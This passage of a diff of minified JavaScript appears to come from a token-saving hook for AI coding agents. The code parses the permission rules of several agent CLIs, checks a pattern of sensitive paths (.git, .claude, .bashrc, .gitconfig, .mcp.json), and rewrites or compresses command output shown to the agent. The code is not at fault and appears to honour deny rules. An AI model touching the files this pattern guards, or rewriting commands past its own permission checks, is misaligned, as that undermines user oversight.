Set(e.filenames),o=n==="Glob",s=t.split(`
189
- `).filter(i=>r.has(i)||TI(i)||o&&vI.test(i));return{...e,filenames:s}}return t}function RI(e,t,n){return JSON.stringify({...n?{systemMessage:n}:{},hookSpecificOutput:{hookEventName:"PostToolUse",updatedToolOutput:$b(e.tool_response,t,e.tool_name)}})}var AI=100,Su=null;function $I(){let e=Su;return Su=null,e}function xb(e){let t=Math.round(e/4);return t>=1e3?`${(t/1e3).toFixed(1)}K`:String(t)}function Cb(e,t){try{if(Math.round((e-t)/4)<AI)return;let n=Rb(b(),"first-save");if(uI(n))return;fI(n,String(Date.now())),Su=`Tokmizer just optimized its first command output here: ~${xb(e)} tokens down to ~${xb(t)}. Watch it add up: /tkr-gain`}catch{}}function vb(e){return e?typeof e=="string"?e:e.file?.content!=null?e.file.content:e.content!=null?e.content:e.output!=null?e.output:e.stdout!=null||e.stderr!=null?[e.stdout??"",e.stderr??""].filter(Boolean).join(`
192
+ `}else if(o==="/"&&e[r+1]==="*"){if(r=e.indexOf("*/",r+2),r===-1)return"";r+=1}else t+=o}return t.replace(/,(\s*[}\]])/g,"$1")}function Tr(e){let t=[],n=_I(e);for(;;){t.push(n);let r=xb(n);if(r===n)return t;n=r}}function rP(){let e=process.platform==="darwin"?"/Library/Application Support/ClaudeCode":process.platform==="win32"?"C:\\Program Files\\ClaudeCode":"/etc/claude-code",t=[L(e,"managed-settings.json")];try{for(let n of Yi(L(e,"managed-settings.d")))n.endsWith(".json")&&t.push(L(e,"managed-settings.d",n))}catch{return t}return t}function oP(){try{return bI().username}catch{return""}}function sP(e){return e.error?e.error.code==="ETIMEDOUT":e.status!==1}var iP=5*6e4,yb=new Map;function Ib(e,t){let n=yb.get(e);if(n&&Date.now()-n.at<iP)return n.value;let r=["HKLM","HKCU"].some(o=>sP(Sb(e,["query",`${o}\\SOFTWARE\\Policies\\ClaudeCode`,"/v","Settings"],{cwd:t,stdio:"ignore",timeout:2e3,windowsHide:!0})));return yb.set(e,{at:Date.now(),value:r}),r}function aP(){let e=process.env.SystemRoot||"C:\\Windows";return Ib(SI.join(e,"System32","reg.exe"),e)}var kb="/mnt/c/Windows/System32/reg.exe";function lP(e){return!process.env.WSL_DISTRO_NAME&&!e("/proc/sys/fs/binfmt_misc/WSLInterop")?!1:e("/mnt/c/Program Files/ClaudeCode")?!0:e(kb)&&Ib(kb,"/mnt/c/Windows")}function cP(e=process.platform,t=Dt,n=aP,r=oP(),o=()=>lP(t)){if(e==="darwin"){let s="/Library/Managed Preferences";return t(L(s,"com.anthropic.claudecode.plist"))||r!==""&&t(L(s,r,"com.anthropic.claudecode.plist"))}return e==="win32"?n():e==="linux"&&o()}function Yo(e,t,n,r){let o=[];for(let s of e){let i=nP(s,t);if(i!=="missing"&&(i==="unreadable"||!le(i)||!n(i,o)))return"unreadable"}return{matchers:o,complete:r}}function Vo(e){return e===void 0?[]:Array.isArray(e)?e.filter(t=>typeof t=="string"):null}function Xi(){return{projectDir:process.env.CLAUDE_PROJECT_DIR,configDir:process.env.CLAUDE_CONFIG_DIR?.trim()?Un():void 0}}function uP(e,t){let n=w=>[L(w,"settings.json"),L(w,"settings.local.json")],r=w=>n(L(w,".claude")),o=L(wn(),".claude"),s=t.configDir||o;if(cP())return"unreadable";let a=[[[...[...new Set([L(s,"remote-settings.json"),L(o,"remote-settings.json")])],...rP()],"managed"],[[L(s,"settings.json")],"loaded"],[[L(s,"settings.local.json")],"loadedLocal"],[t.configDir?n(o):[],"extra"],[t.projectDir?r(t.projectDir):[],"project"],[Tr(e).flatMap(r),"extra"]],l=[],c={managed:[],loaded:[],loadedLocal:[],project:[],extra:[]},u={managed:!1,loaded:!1,loadedLocal:!1,project:!1,extra:!1},f=!1,d="managed",m=(w,S)=>{let x=w.permissions;if(d==="managed"&&(w.allowManagedPermissionRulesOnly===!0||le(x)&&x.allowManagedPermissionRulesOnly===!0)&&(f=!0),x===void 0)return!0;if(!le(x))return!1;for(let T of["deny","ask","allow"]){let A=Vo(x[T]);if(!A)return!1;for(let M of A){let I=/^\s*Bash\s*(?:\(([\s\S]*)\))?\s*$/.exec(M);if(I)if(T!=="allow")S.push(_n((I[1]??"*").replace(/:\*$/," *")));else if(I[1]===void 0||I[1].trim()==="*")u[d]=!0;else{l.push(_n(I[1].replace(/:\*$/," *")));let H=CP(I[1]);H&&c[d].push({rule:M.trim(),matches:H})}}}return!0},g=[];for(let[w,S]of a){d=S;let x=Yo(w,!1,m,!0);if(x==="unreadable")return"unreadable";g.push(...x.matchers)}let h=u.managed||(u.loaded||u.loadedLocal)&&!f,p=[...c.managed,...f?[]:c.loaded];return{matchers:[...g,...h?[]:l],complete:!0,allow:l,allowsEverything:h,guards:g,trustedAllow:p}}function fP(e){let t=[L(wn(),".cursor","cli-config.json"),...Tr(e).map(n=>L(n,".cursor","cli.json"))];return Yo(t,!0,(n,r)=>{let o=n.permissions;if(o===void 0)return!0;if(!le(o))return!1;let s=Vo(o.deny);if(!s)return!1;for(let i of s){let a=/^\s*Shell\s*(?:\(([\s\S]*)\))?\s*$/.exec(i);if(!a)continue;let l=a[1]??"*",c=l.indexOf(":");r.push(_n(c===-1?`${l} *`:`${l.slice(0,c)} ${l.slice(c+1)}`))}return!0},!1)}function dP(){return process.platform==="darwin"?"/Library/Application Support/GeminiCli":process.platform==="win32"?"C:\\ProgramData\\gemini-cli":"/etc/gemini-cli"}var Pb=/^\s*(?:run_shell_command|ShellTool)\s*(?:\(([\s\S]*)\))?\s*$/;function mP(e,t){let n=e.tools;if(n!==void 0&&!le(n))return!1;let r=[Vo(e.excludeTools),Vo(le(n)?n.exclude:void 0)];for(let o of r){if(!o)return!1;for(let s of o){let i=Pb.exec(s);i&&t.push(_n(i[1]===void 0?"*":`${i[1]}*`))}}return!0}function bb(e){try{return JSON.parse(e)}catch{return null}}function pP(e){let t=e.trim();if(t.startsWith('"""')||t.startsWith("'''"))return null;if(t.startsWith("[")){if(!/\]\s*(?:#.*)?$/.test(t))return null;let n=[];for(let r of t.matchAll(/"((?:\\.|[^"\\])*)"|'([^']*)'/g)){let o=r[2]??bb(`"${r[1]}"`);if(o===null)return null;n.push(o)}return n}if(t.startsWith('"')){let n=/^"((?:\\.|[^"\\])*)"/.exec(t);return n?bb(`"${n[1]}"`):null}if(t.startsWith("'")){let n=/^'([^']*)'/.exec(t);return n?n[1]:null}return t.replace(/\s*#.*$/,"")}function gP(e,t){for(let n of e.split(/^\s*\[\[\s*rule\s*\]\]\s*$/m).slice(1)){let r={};for(let l of n.split(/\r?\n/)){if(/^\s*\[/.test(l))break;let c=/^\s*([A-Za-z_]+)\s*=\s*(.*)$/.exec(l);if(!c)continue;let u=pP(c[2]);if(u===null)return!1;r[c[1]]=u}let o=r.decision;if(o!=="deny"&&o!=="ask_user"||!(r.toolName===void 0?["*"]:[r.toolName].flat()).some(l=>l==="*"||Pb.test(l)))continue;let i=r.commandPrefix===void 0?[]:[r.commandPrefix].flat(),a=[r.commandRegex,r.argsPattern].flat().filter(l=>typeof l=="string");if(i.length===0&&a.length===0){t.push(()=>!0);continue}for(let l of i)t.push(_n(`${l}*`));for(let l of a){let c;try{c=new RegExp(l)}catch{return!1}t.push(u=>c.test(JSON.stringify({command:u}))||Qi(c,u))}}return!0}function wb(e){try{return Yi(e).filter(t=>t.endsWith(".toml")).map(t=>L(e,t))}catch{return[]}}function hP(e){let t=dP(),n=[L(t,"system-defaults.json"),L(t,"settings.json"),process.env.GEMINI_CLI_SYSTEM_SETTINGS_PATH,process.env.GEMINI_CLI_SYSTEM_DEFAULTS_PATH,L(wn(),".gemini","settings.json"),...Tr(e).map(o=>L(o,".gemini","settings.json"))].filter(o=>!!o),r=Yo(n,!0,mP,!1);if(r==="unreadable")return r;for(let o of[...wb(L(wn(),".gemini","policies")),...wb(L(t,"policies"))]){let s;try{s=Wo(o,"utf8")}catch{return"unreadable"}if(!gP(s,r.matchers))return"unreadable"}return r}function hu(e,t){if(e===void 0)return!0;if(typeof e=="string")return e!=="allow"&&t.push(()=>!0),!0;if(!le(e))return!1;for(let n of["bash","shell","*"]){let r=e[n];if(r!==void 0){if(typeof r=="string"){r!=="allow"&&t.push(()=>!0);continue}if(!le(r))return!1;for(let[o,s]of Object.entries(r))s!=="allow"&&t.push(_n(o.replace(/\?/g,"*")))}}return!0}function _b(e,t){if(e.permissions!==void 0||!hu(e.permission,t))return!1;for(let n of["agent","agents","mode"]){let r=e[n];if(r!==void 0){if(!le(r))return!1;for(let o of Object.values(r))if(le(o)&&(o.permissions!==void 0||!hu(o.permission,t)))return!1}}return!0}function yP(e){for(let t of e)for(let n of["agent","agents","mode","modes"]){let r;try{r=Yi(L(t,n))}catch{continue}for(let o of r)try{if(o.endsWith(".md")&&/permission/i.test(Wo(L(t,n,o),"utf8")))return!0}catch{return!0}}return!1}function kP(e){let t=L(process.env.XDG_CONFIG_HOME||L(wn(),".config"),"opencode"),n=Tr(e),r=[t,...n.map(a=>L(a,".opencode"))];if(yP(r))return"unreadable";let o=["opencode.json","opencode.jsonc","config.json"],s=[...o.map(a=>L(t,a)),process.env.OPENCODE_CONFIG,...n.flatMap(a=>[...o.slice(0,2).map(l=>L(a,l)),...o.slice(0,2).map(l=>L(a,".opencode",l))])].filter(a=>!!a),i=Yo(s,!0,_b,!0);if(i==="unreadable")return i;for(let a of[process.env.OPENCODE_CONFIG_CONTENT,process.env.OPENCODE_PERMISSION]){if(!a)continue;let l;try{l=JSON.parse(Ob(a))}catch{return"unreadable"}if(!(a===process.env.OPENCODE_PERMISSION?hu(l,i.matchers):le(l)&&_b(l,i.matchers)))return"unreadable"}return i}function bP(){return Yo([L(wn(),".gemini","antigravity-cli","settings.json")],!0,(e,t)=>{let n=e.permissions;if(n===void 0)return!0;if(!le(n))return!1;for(let r of["deny","ask"]){let o=Vo(n[r]);if(!o)return!1;for(let s of o){let i=/^\s*command\s*\(([\s\S]*)\)\s*$/.exec(s);if(!i)continue;let a=i[1].trim();if(!a.startsWith("regex:")){t.push(_n(a==="*"?"*":`${a} *`));continue}let l;try{l=new RegExp(a.slice(6))}catch{return!1}t.push(c=>Qi(l,c))}}return!0},!1)}function wP(e){let t=[],n=/\s+|#[^\n]*|("(?:[^"\\\n]|\\.)*"|'(?:[^'\\\n]|\\.)*')|([A-Za-z_][A-Za-z0-9_]*|[()[\],=])|(.)/gy;for(let r=n.exec(e);r&&r[0];r=n.exec(e)){if(r[3]!==void 0)return null;(r[1]!==void 0||r[2]!==void 0)&&t.push(r[1]??r[2])}return t}function Nb(e,t){let n=e[t.i++];if(n===void 0)return;if(/^["']/.test(n))try{return n.startsWith('"')?JSON.parse(n):JSON.parse(`"${n.slice(1,-1).replace(/\\'/g,"'").replace(/"/g,'\\"')}"`)}catch{return}if(n!=="[")return/^[A-Za-z_]/.test(n)?null:void 0;let r=[];for(;e[t.i]!=="]";){let o=Nb(e,t);if(o===void 0)return;if(r.push(o),e[t.i]===",")t.i++;else if(e[t.i]!=="]")return}return t.i++,r}function Mb(e){if(!Array.isArray(e)||e.length===0)return null;let t=[];for(let r of e){let o=typeof r=="string"?[r]:Array.isArray(r)?r:null;if(!o||o.length===0||!o.every(s=>typeof s=="string"&&s!==""))return null;t.push(`(?:${o.map(bu).join("|")})`)}let n=new RegExp(`^${t.join(" ")}(?= |$)`);return r=>Qi(n,r)}function _P(e,t){let n=wP(e);if(!n)return!1;for(let r=0;r<n.length;r++){if(n[r]!=="prefix_rule"||n[r+1]!=="(")continue;let o={i:r+2},s={};for(;n[o.i]!==")";){let l=n[o.i];if(!l||!/^[A-Za-z_]/.test(l)||n[o.i+1]!=="="||(o.i+=2,s[l]=Nb(n,o),s[l]===void 0&&(l==="pattern"||l==="decision")))return!1;if(n[o.i]===",")o.i++;else if(n[o.i]!==")")return!1}r=o.i;let i="decision"in s?s.decision:"allow";if(i!=="allow"&&i!=="prompt"&&i!=="forbidden")return!1;let a=Mb(s.pattern);if(!a)return!1;i!=="allow"&&t.push(a)}return!0}function SP(e){if(!Dt(e))return[];try{return Yi(e).filter(t=>t.endsWith(".rules")).sort().map(t=>L(e,t))}catch{return"unreadable"}}function xP(){return process.platform==="win32"?L(process.env.ProgramData||"C:\\ProgramData","OpenAI","Codex","requirements.toml"):"/etc/codex/requirements.toml"}function EP(e){if(!(!le(e)||Object.keys(e).length!==1)){if(typeof e.token=="string")return e.token;if(Array.isArray(e.any_of)&&e.any_of.every(t=>typeof t=="string"))return e.any_of}}function vP(e,t){let n;try{n=Pt(e)}catch{return!1}if(n.rules===void 0)return!0;if(!le(n.rules))return!1;let r=n.rules.prefix_rules;if(r===void 0)return!0;if(!Array.isArray(r))return!1;for(let o of r){if(!le(o)||!Array.isArray(o.pattern)||o.decision!=="prompt"&&o.decision!=="forbidden")return!1;let s=o.pattern.map(EP);if(s.some(a=>a===void 0))return!1;let i=Mb(s);if(!i)return!1;t.push(i)}return!0}function TP(e){let t=process.env.CODEX_HOME||L(wn(),".codex"),n=[L(t,"rules"),...Tr(e).map(s=>L(s,".codex","rules"))],r=[],o=null;try{o=Wo(xP(),"utf8")}catch(s){let i=s.code;if(i!=="ENOENT"&&i!=="ENOTDIR")return"unreadable"}if(o!==null&&!vP(o,r))return"unreadable";for(let s of[...new Set(n)]){let i=SP(s);if(i==="unreadable")return"unreadable";for(let a of i){let l;try{l=Wo(a,"utf8")}catch{return"unreadable"}if(!_P(l,r))return"unreadable"}}return{matchers:r,complete:!1}}function le(e){return e!=null&&typeof e=="object"&&!Array.isArray(e)}function bu(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function RP(e){let t=e.trim().replace(/\s+/g," "),n=t.endsWith(" *")&&t.length>2,r=(n?t.slice(0,-2):t).split("*").map(bu).join("[\\s\\S]*");return new RegExp(`^${r}${n?"(?: [\\s\\S]*)?":""}(?= |$)`)}var AP=512;function $P(e){let t=e.replace(/['"\\]/g,"").split(/[\s;&|(){}<>`$]+/).filter(Boolean);return[t,t.map(Er)]}function Qi(e,t){if(e.test(t)||e.test(t.trim().replace(/\s+/g," ")))return!0;for(let n of $P(t)){if(n.length>AP)return!0;for(let r=0;r<n.length;r++)if(e.test(n.slice(r).join(" ")))return!0}return!1}function _n(e){let t=RP(e);return n=>Qi(t,n)}function CP(e){let t=e.trim().replace(/:\*$/," *"),n=t.endsWith(" *"),r=n?t.slice(0,-2):t;if(!r||r.includes("*")||/\s\s|[^\S ]|^ | $/.test(r))return null;let o=new RegExp(`^${bu(r)}${n?"(?: [\\s\\S]*)?":""}$`);return s=>o.test(s)}var OP={"claude-code":uP,cursor:fP,"gemini-cli":hP,opencode:kP,antigravity:bP,codex:TP},IP=new Set(["codex"]),Db=/(?:^|[\s=:/~])\.(?:git|claude|vscode|idea|husky)(?=[/\s;|&)]|$)|(?:^|[\s=:/~])\.(?:bashrc|bash_profile|bash_login|bash_logout|profile|zshrc|zprofile|zshenv|zlogin|zlogout|gitconfig|gitmodules|ripgreprc|mcp\.json)(?![A-Za-z0-9_])/;function PP(e,t,n){let r=OP[e];return r?r(t??process.cwd(),n):{matchers:[],complete:!1}}function NP(e,t,n){return e==="unreadable"||Db.test(t.replace(/['"\\]/g,""))||e.matchers.some(r=>r(t))?!1:e.complete||$b(t,!IP.has(n))}var Fb=new Set(["default","acceptEdits","dontAsk"]);function Lb(e,t){return t.host!=="claude-code"||t.permissionMode==="bypassPermissions"?!0:e!=="unreadable"&&e.allowsEverything===!0&&Fb.has(t.permissionMode??"")}var MP=/(?:^|[\s/])git(?:\.exe|\.real|-[a-z][\w-]*)?(?=\s|$)/;function DP(e){if(!e)return!1;try{for(let t of Tr(e)){let n=L(t,".git");if(Dt(n))return kI(n).isFile()}}catch{return!0}return!1}function FP(e,t){let n="pathEnv"in e?e.pathEnv:process.env.PATH,r,o;return(s,i)=>e.host!=="claude-code"?xr(s,e.cwd,n):i!==void 0&&MP.test(i)&&(o??=DP(e.cwd))||(r??=ib(t.configDir),!xr(s,e.cwd,n)&&!r.paths.some(a=>xr(s,e.cwd,a)))?!1:s.includes("/")||!ab(s,r)}var LP=/^[^\s;&|<>()$`\\{}*?[\]~#!]+(?: [^\s;&|<>()$`\\{}*?[\]~#!]+)*$/;function HP(e,t,n){return n.host!=="claude-code"||e==="unreadable"||Lb(e,n)||!Fb.has(n.permissionMode??"")||!LP.test(t)||Db.test(t.replace(/['"]/g,""))||(e.guards??[]).some(r=>r(t))?null:(e.trustedAllow??[]).find(r=>r.matches(t))?.rule??null}var jP=65536,BP=/^(?:[A-Za-z_][A-Za-z0-9_]*=\S*\s+)*(?:(?:npx|bunx|pnpm\s+exec|yarn\s+exec|uv\s+run|poetry\s+run)\s+)?(?:\.\/)?(?:ctest|gradlew|gradle|mvnw|mvnd|mvn|make|cmake|sbt|phpstan|phpunit|pest|pytest|py\.test|tox|nox|vitest|jest|mocha|playwright\s+test|tsc|(?:cargo|go)\s+(?:build|test|check|clippy|vet)|(?:bun|deno)\s+(?:test|check|lint|install)|(?:npm|pnpm|yarn)\s+(?:test|t|ci|install|run\s+\S+)|dotnet\s+(?:build|test)|swift\s+(?:build|test)|composer\s+(?:install|update|test))(?:\s|$)/;function zP(e,t){return t.host==="claude-code"&&t.permissionMode==="default"&&BP.test(e.trim())}function Hb(e,t,n,r){if(!n||e.length>jP||/["\\$`;&|<>(){}]|'\\''/.test(n))return null;let o=t.claudeDirs??Xi(),s=PP(t.host,t.cwd,o),i=HP(s,e,t),a=i||NP(s,e,t.host)?ku(e,n,FP(t,o)):e;return a!==e&&s!=="unreadable"&&(i?(s.guards??[]).some(l=>l(a)):s.matchers.some(l=>l(a))||(s.allow??[]).some(l=>l(a)&&!l(e)))&&(a=e),r(t.sessionId,a!==e),a===e?null:i?{command:a,allowedBy:i}:Lb(s,t)?{command:a}:s!=="unreadable"&&zP(e,t)&&!(s.allow??[]).some(l=>l(e))&&!(s.trustedAllow??[]).some(l=>l.matches(e))?{command:a,ask:!0}:null}function Ft(e,t,n,r){let o=Hb(e,t,n,r);return o&&!o.ask?o.command:null}U();Ue();To();Ui();ui();import{existsSync as QP,writeFileSync as eN,appendFileSync as tN,statSync as nN,constants as Bb}from"node:fs";import{lstat as rN,open as oN}from"node:fs/promises";import{basename as sN,dirname as iN,isAbsolute as aN,join as Zb}from"node:path";U();Ui();import{createHash as UP}from"node:crypto";import{appendFileSync as JP,chmodSync as GP,mkdirSync as ZP,readFileSync as KP,rmSync as WP,statSync as VP}from"node:fs";import{join as jb}from"node:path";var qP=256*1024,YP=80;function XP(e){let t=e.replace(/[^A-Za-z0-9._-]/g,"-").replace(/\.\./g,"-").slice(0,80)||"default";return jb(b(),"sessions",`${t}.seen`)}function wu(e){return e.replace(/[\t\r\n]+/g," ").trim().slice(0,YP)}function _u(e,t,n,r){try{let o=XP(e),s=wu(t),i=UP("sha256").update(n).digest("hex").slice(0,32),a="";try{a=KP(o,"utf8")}catch{}for(let l of a.split(`
193
+ `)){let[c,u,f]=l.split(" ");if(c===s&&u===i)return{cmd:f??""}}ZP(jb(b(),"sessions"),{recursive:!0,mode:448}),JP(o,`${s} ${i} ${wu(ou(r))}
194
+ `,{mode:384}),GP(o,384),VP(o).size>qP&&WP(o,{force:!0})}catch{}return null}function Su(e,t){return`[same output as \`${wu(e)}\` earlier in this session, unchanged, ~${Math.round(t/4)} tokens]`}qr();Ts();js();var lN=new Set(["Read","Grep","Glob","Bash"]),ea=10*1024*1024,Kb=1024,cN=10,uN=25e3,fN=/^… \(?\d+ more lines omitted\)?$/,dN=/^\[tkr restore [0-9a-f]{8,64}\]$/,mN=/^\d+F \d+D(?: in .+\/)?:$|^\S.*\/ \(\d+(?:, \*\.[^)]+)?\): \S/,pN=/^… \(\d+ more lines omitted\)$/m;function gN(e){return fN.test(e)||dN.test(e)||e==="[YOLO: omitted]"}function Wb(e,t,n){if(!e||typeof e=="string")return t;if(e.file?.content!=null)return{...e,file:{...e.file,content:t}};if(e.content!=null)return{...e,content:t};if(e.output!=null)return{...e,output:t};if(e.stdout!=null||e.stderr!=null){let{persistedOutputPath:r,persistedOutputSize:o,...s}=e;return{...s,stdout:t,stderr:""}}if(Array.isArray(e.filenames)){let r=new Set(e.filenames),o=n==="Glob",s=t.split(`
195
+ `).filter(i=>r.has(i)||gN(i)||o&&mN.test(i));return{...e,filenames:s}}return t}function hN(e,t,n){return JSON.stringify({...n?{systemMessage:n}:{},hookSpecificOutput:{hookEventName:"PostToolUse",updatedToolOutput:Wb(e.tool_response,t,e.tool_name)}})}var yN=100,vu=null;function kN(){let e=vu;return vu=null,e}function zb(e){let t=Math.round(e/4);return t>=1e3?`${(t/1e3).toFixed(1)}K`:String(t)}function Vb(e,t){try{if(Math.round((e-t)/4)<yN)return;let n=Zb(b(),"first-save");if(QP(n))return;eN(n,String(Date.now())),vu=`Tokmizer just optimized its first command output here: ~${zb(e)} tokens down to ~${zb(t)}. Watch it add up: /tkr-gain`}catch{}}function Ub(e){return e?typeof e=="string"?e:e.file?.content!=null?e.file.content:e.content!=null?e.content:e.output!=null?e.output:e.stdout!=null||e.stderr!=null?[e.stdout??"",e.stderr??""].filter(Boolean).join(`
190
196
  `):Array.isArray(e.filenames)?e.filenames.join(`
191
- `):null:""}var CI=64*1024;function OI(e,t){try{if(!t||typeof t!="object")return;let n=Rb(b(),"drift.jsonl");try{if(pI(n).size>CI)return}catch{}let r=Object.keys(t).slice(0,12);dI(n,`${JSON.stringify({t:Math.floor(Date.now()/1e3),tool:e,keys:r})}
192
- `)}catch{}}function PI(e){let t=e.tool_name??"tool",n=e.tool_input??{};return n.command?n.command.split(`
193
- `)[0].trim().slice(0,200):n.file_path?`${t.toLowerCase()} ${n.file_path}`:n.pattern?`${t.toLowerCase()} ${n.pattern}`:n.path?`${t.toLowerCase()} ${n.path}`:t.toLowerCase()}var II=/'(?:[A-Za-z]:)?\/[^']*\/(?:tkr-exec(?:\.exe|\.js)?'|tkr(?:\.exe)?' exec)(?:\\'')?(?:\s|$)/,NI=/;|\|\||\n|(?<![>&|])&(?![&>])/,MI=new Set(["cd","export","set","unset","true",":"]),DI=/^(?:\S*\/)?(?:sh|bash|zsh|dash|ksh)\s+-[elux]*c[elux]*\s+'([^']*)'$/,FI=/(?:^|[\s;&|(])(?:[A-Za-z]:)?\/\S*\/tkr-exec(?:\.exe|\.js)?\s|(?:^|[;&|(\n])\s*(?:\S*\/)?tkr-exec(?:\.exe|\.js)?\s/;function Ob(e){return II.test(e)||FI.test(e)}function Pb(e,t,n=0){let r=Er(e);for(let o=0;o<r.length;o++){let s=r[o];if(s.kind==="sep")continue;let i=s.text.trim();if(!i||i===t)continue;let a=r[o+1];if(a?.kind==="sep"&&(a.text==="|"||a.text==="|&")||MI.has(i.split(/\s+/)[0]))continue;let l=n<3?DI.exec(i):null;if(!(l&&Pb(l[1],t,n+1)))return!1}return!0}function LI(e){let t=[],n="",r=!1;for(let o=0;o<e.length;o++){let s=e[o];if(s==="'"){let i=e.indexOf("'",o+1);if(i===-1)return null;n+=e.slice(o+1,i),r=!0,o=i}else if(s==='"'){let i=o+1;for(;i<e.length&&e[i]!=='"';i++)e[i]==="\\"&&/["\\$`]/.test(e[i+1]??"")&&i++,n+=e[i];if(i>=e.length)return null;r=!0,o=i}else if(s==="\\"){if(o+1>=e.length)return null;n+=e[++o],r=!0}else/\s/.test(s)?(r&&t.push(n),n="",r=!1):(n+=s,r=!0)}return r&&t.push(n),t.length>0?t:null}function Eb(e){let t="";for(let n=0;n<e.length;n++){let r=e[n];if(t==="'"){r==="'"&&(t="");continue}if(r==="\\"){n++;continue}if(r==="$"||r==="`")return!0;r==='"'?t=t?"":'"':r==="'"&&!t&&(t="'")}return!1}async function HI(e){if(!e||typeof e!="object"||e.persistedOutputPath==null)return;let{stdout:t,persistedOutputPath:n,persistedOutputSize:r}=e;if(typeof t!="string"||typeof n!="string"||typeof r!="number"||!Number.isFinite(r))return null;if(!(Buffer.byteLength(t,"utf8")>=r||t.length>=r)){if(!t||e.stderr!=null&&e.stderr!==""||e.interrupted===!0||e.isImage===!0||!kI(n)||hI(yI(n))!=="tool-results")return null;try{let o=await mI(n);if(!o.isFile()||o.size>Xi)return null;let s=await gI(n,Sb.O_RDONLY|(Sb.O_NOFOLLOW??0));try{let i=await s.stat();if(!i.isFile()||i.size>Xi||i.size!==o.size)return null;let a=Buffer.alloc(i.size),{bytesRead:l}=await s.read(a,0,i.size,0);if(l!==i.size)return null;let c=a.toString("utf8");return a.length!==r&&c.length!==r?null:c.startsWith(t)?c:null}finally{await s.close()}}catch{return null}}}function jI(e,t){if(!t||typeof t!="object"||typeof t.stdout!="string"||t.stderr!=null&&typeof t.stderr!="string"||t.interrupted===!0||t.isImage===!0||t.backgroundTaskId!=null||NI.test(e)||Eb(e))return null;let n=[];if(gu(e,"tkr-exec",()=>!0,o=>n.push(o)),n.length!==1||Eb(n[0])||!Pb(e,n[0])||Er(e).some(o=>o.kind==="sep"&&o.text!=="&&"&&o.text!=="|"&&o.text!=="|&"))return null;let r=LI(n[0]);return r?{argv:r,stdout:t.stdout,stderr:t.stderr??"",exitCode:t.returnCodeInterpretation!=null?1:0}:null}async function BI(e,t,n,r,o){let{processCapturedOutput:s}=await Promise.resolve().then(()=>(lu(),Bk)),i=null,a=h=>{i=h},l={...process.env};t.session_id?l.CLAUDE_CODE_SESSION_ID=t.session_id:delete l.CLAUDE_CODE_SESSION_ID;let c=await s({argv:e.argv,stdout:e.stdout,stderr:e.stderr,exitCode:e.exitCode,truncated:!1,stderrTruncated:!1},{yolo:n,env:l,...r.resolver?{resolver:r.resolver}:{},deferAccounting:a,cwd:t.cwd||(r.inferCwd===!1?void 0:process.cwd())}),u=i,f=[e.stdout,e.stderr].filter(Boolean).join(`
194
- `),d=Buffer.byteLength(f,"utf8");if(o==null&&c.filterId!=null&&t.session_id&&d>=Ab){let h=ku(t.session_id,t.agent_id??"main",f,(t.tool_input?.command??"").split(`
195
- `)[0]??"");if(h){let m=bu(h.cmd,d);if(n)return m;let{captureOriginalForRestore:_}=await Promise.resolve().then(()=>(_u(),wu));return _(f,m)}}let p=[c.stdout,c.stderr].filter(Boolean).join(`
196
- `),g=c.stdout===e.stdout&&c.stderr===e.stderr;return o!=null&&(g||p.length>o)||(u&&(r.deferAccounting?r.deferAccounting(u):await u()),g||d>0&&Buffer.byteLength(p,"utf8")>=d)?null:(Cb(d,Buffer.byteLength(p,"utf8")),p)}function zI(e){if(e==null||typeof e!="object"||Array.isArray(e))return!1;let t=e;if(t.session_id!=null&&typeof t.session_id!="string"||t.tool_name!=null&&typeof t.tool_name!="string")return!1;let n=t.tool_input;if(n==null)return!0;if(typeof n!="object"||Array.isArray(n))return!1;let r=n;return["command","file_path","pattern","path"].every(o=>r[o]==null||typeof r[o]=="string")}async function UI(e,t={}){if(!zI(e))return null;let n=e.tool_name==="Bash"&&!Ob(e.tool_input?.command??"")?await HI(e.tool_response):void 0;return n===null?null:n===void 0?Tb(e,t):Tb({...e,tool_response:{...e.tool_response,stdout:n}},t,_I)}async function Tb(e,t,n){let r=Ce();if(!e.tool_name||!bI.has(e.tool_name))return null;let o=e.tool_name==="Bash"?e.tool_input?.command??"":"",s=Ob(o);if(/\btkr(?:\.js)?\s+restore\b/.test(o))return null;let i=await V();if(!zm())return null;let a=e.tool_name==="Bash"&&!s?jI(o,e.tool_response):null;if(a)return Buffer.byteLength(a.stdout,"utf8")+Buffer.byteLength(a.stderr,"utf8")>Xi?null:BI(a,e,r,t,n);if(e.session_id&&!s&&i?.token){let M=e.tool_input??{},Dt=M.command??M.file_path??M.pattern??M.path??"";Dt&&zi(e.session_id,{tool:e.tool_name,target:Dt.split(`
197
- `)[0].trim()})}if(e.tool_name==="Read"&&(e.tool_input?.offset!=null||e.tool_input?.limit!=null))return null;let l=vb(e.tool_response);if(l==null)return OI(e.tool_name,e.tool_response),null;if(!l)return null;let c=Buffer.byteLength(l,"utf8");if(c>Xi||e.tool_name==="Bash"&&c<Ab||e.tool_name==="Glob"&&l.split(`
198
- `).length<wI||s)return null;let{loadSettingsCache:u,processOutput:f,captureForRestore:d,captureOriginalForRestore:p,neutralizeMarkers:g,FOLD_MARKER_RE:h,resolveAllowedFilters:m,gatingPlan:_,graceExceeded:S,recordEvent:E,recordTelemetry:R,recordStat:I,countedSaving:A,statCmdLabel:$,statOutcome:D,installDaemonResolver:_e,closeDaemonResolver:me}=await Promise.resolve().then(()=>(_u(),wu)),Q=await u();if(!Q.enabled)return null;let{slugKey:O}=await Promise.resolve().then(()=>(ut(),lf)),G=i?.token?_(i):null;!t.resolver&&G&&_e(G);let U=i?.token?m(i.allowedFilters,S(i)):null,W=new Set(Q.filters.disabled.map(O)),J=U&&W.size>0?new Set([...U].filter(M=>!W.has(M))):U,X=PI(e),Se=`${e.tool_name.toLowerCase()}-tool`,Mt=`${Se}: ${X}`;try{let M=await f(Mt,l,J,{verbosity:Q.outputVerbosity,resolver:t.resolver,yolo:r,exitCode:e.tool_name==="Bash"?void 0:0});if(M.filterId!=null&&e.tool_name==="Bash"&&e.session_id){let Pu=ku(e.session_id,e.agent_id??"main",l,o.split(`
199
- `)[0]??"");if(Pu){let Iu=bu(Pu.cmd,c);return r?Iu:await p(l,Iu)}}let Dt=new RegExp(h.source,"m"),oa=e.tool_name==="Bash"?$(e.tool_input?.command??""):e.tool_name,$u=e.tool_name==="Read"&&!r&&(Dt.test(M.output)||EI.test(M.output))?`${M.output}${M.output.endsWith(`
197
